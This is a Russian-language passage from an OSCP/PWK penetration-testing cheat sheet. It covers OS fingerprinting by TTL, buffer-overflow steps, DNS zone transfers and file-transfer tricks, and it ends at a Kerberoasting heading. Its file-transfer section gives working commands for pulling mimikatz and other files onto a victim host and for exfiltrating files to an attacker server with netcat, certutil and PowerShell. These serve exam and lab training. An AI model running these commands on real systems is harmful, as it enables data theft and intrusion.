
Комплексная шпаргалка по пентесту для подготовки к экзамену PWK/OSCP, охватывающая повышение привилегий, взлом паролей, генерацию пейлоадов, пост-эксплуатацию, сканирование портов, веб-атаки и методы разведки.
JustTryHarder — это шпаргалка, которая поможет вам на курсе PWK и экзамене OSCP.
(Вдохновлено PayloadAllTheThings)
Не стесняйтесь отправлять Pull Request и ставить звезду, чтобы поделиться любовью, если это помогло вам. 💖
Дружественно к Hacktoberfest! Да, мы открыты для Pull Request'ов на Hacktoberfest! Пожалуйста, убедитесь, что это не спам и действительно хорошо вносит вклад в этот репозиторий. Спасибо и удачного взлома!
Отказ от ответственности: Нижеследующее не содержит спойлеров к лабораториям PWK / экзамену OSCP.
Я получил много этой информации из других репозиториев Github, блогов, сайтов и т.д. Я старался отдавать должное оригинальному создателю, насколько это возможно. Если я не указал вас, пожалуйста, свяжитесь со мной в Twitter: https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
`TTL` можно использовать для определения ОС хоста. Три различных типа TTL показаны ниже:
- **TTL=64** = \*nix - количество прыжков; если вы получаете 61, значит, 3 прыжка, и это устройство на \*nix. Скорее всего, Linux.
- **TTL=128** = Windows - аналогично, если TTL равен 127, то прыжок 1, и это Windows-машина.
- **TTL=254** = Solaris/AIX - если TTL равен 250, количество прыжков 4, и это Solaris-машина.
## BOF (WIP)
(Типичные плохие символы включают: `0x00`, `0x0A`, `0x0D`)
- Фаззинг
- Поиск позиции EIP
- Поиск плохих символов
- Локализация `jmp esp`
- Генерация полезной нагрузки с помощью `msfvenom`
- Получение обратной оболочки с помощью `netcat`
**Хорошие ресурсы по BOF:**
- [NCC Group - Написание эксплойтов для Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - Учебник по написанию эксплойтов, часть 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - 32-битные переполнения буфера в Windows, упрощённые](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## Побеги из изолированных сред / Побеги из окружения
- [Pentest Partners - Побег из Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - Побег из SiteKiosk](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Клавиши для побега из киосков/POS](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Побег из окружения Citrix](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - Побег из приложений](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - Распространённые проблемы при побегах из окружения (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Побег из Citrix](https://gracefulsecurity.com/citrix-breakout/)
## DNS - Зональные передачи```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Передача файлов
### Передача по SMB
На машине жертвы (Windows):```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Wget Передача
Как получить файл(ы) с хоста (внутри обратного шелла).
**Настройка:** Поместите файл, который хотите передать, в `/var/www/html/` и выполните `service apache2 start`.
Запустите на удаленном сервере:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### Передача TFTP
(Как передать с Kali на Windows).
**Использование MSF:**
Запустите MSF перед выполнением этих шагов:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**В терминале:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (с Windows на Kali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
Интерактивный сеанс:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Без интерактивного сеанса PowerShell (Create `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -\> Linux)
**Локальный хост:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. Передайте `encoded.b64` на удалённый сервер с помощью `nc` или иным способом.
**Удалённый сервер - Linux:**
3\. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### Загрузка файлов HTTP (Эксфильтрация)
**1. Создайте upload.php**
Создайте в корневой веб-директории атакующей машины (`/var/www/html` по умолчанию).```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. Создать каталог**
Создайте каталог для загрузки и установите соответствующие права доступа для загрузки.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. Загрузка файла**
Загрузка файла с машины жертвы на атакующую машину с помощью PowerShell:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting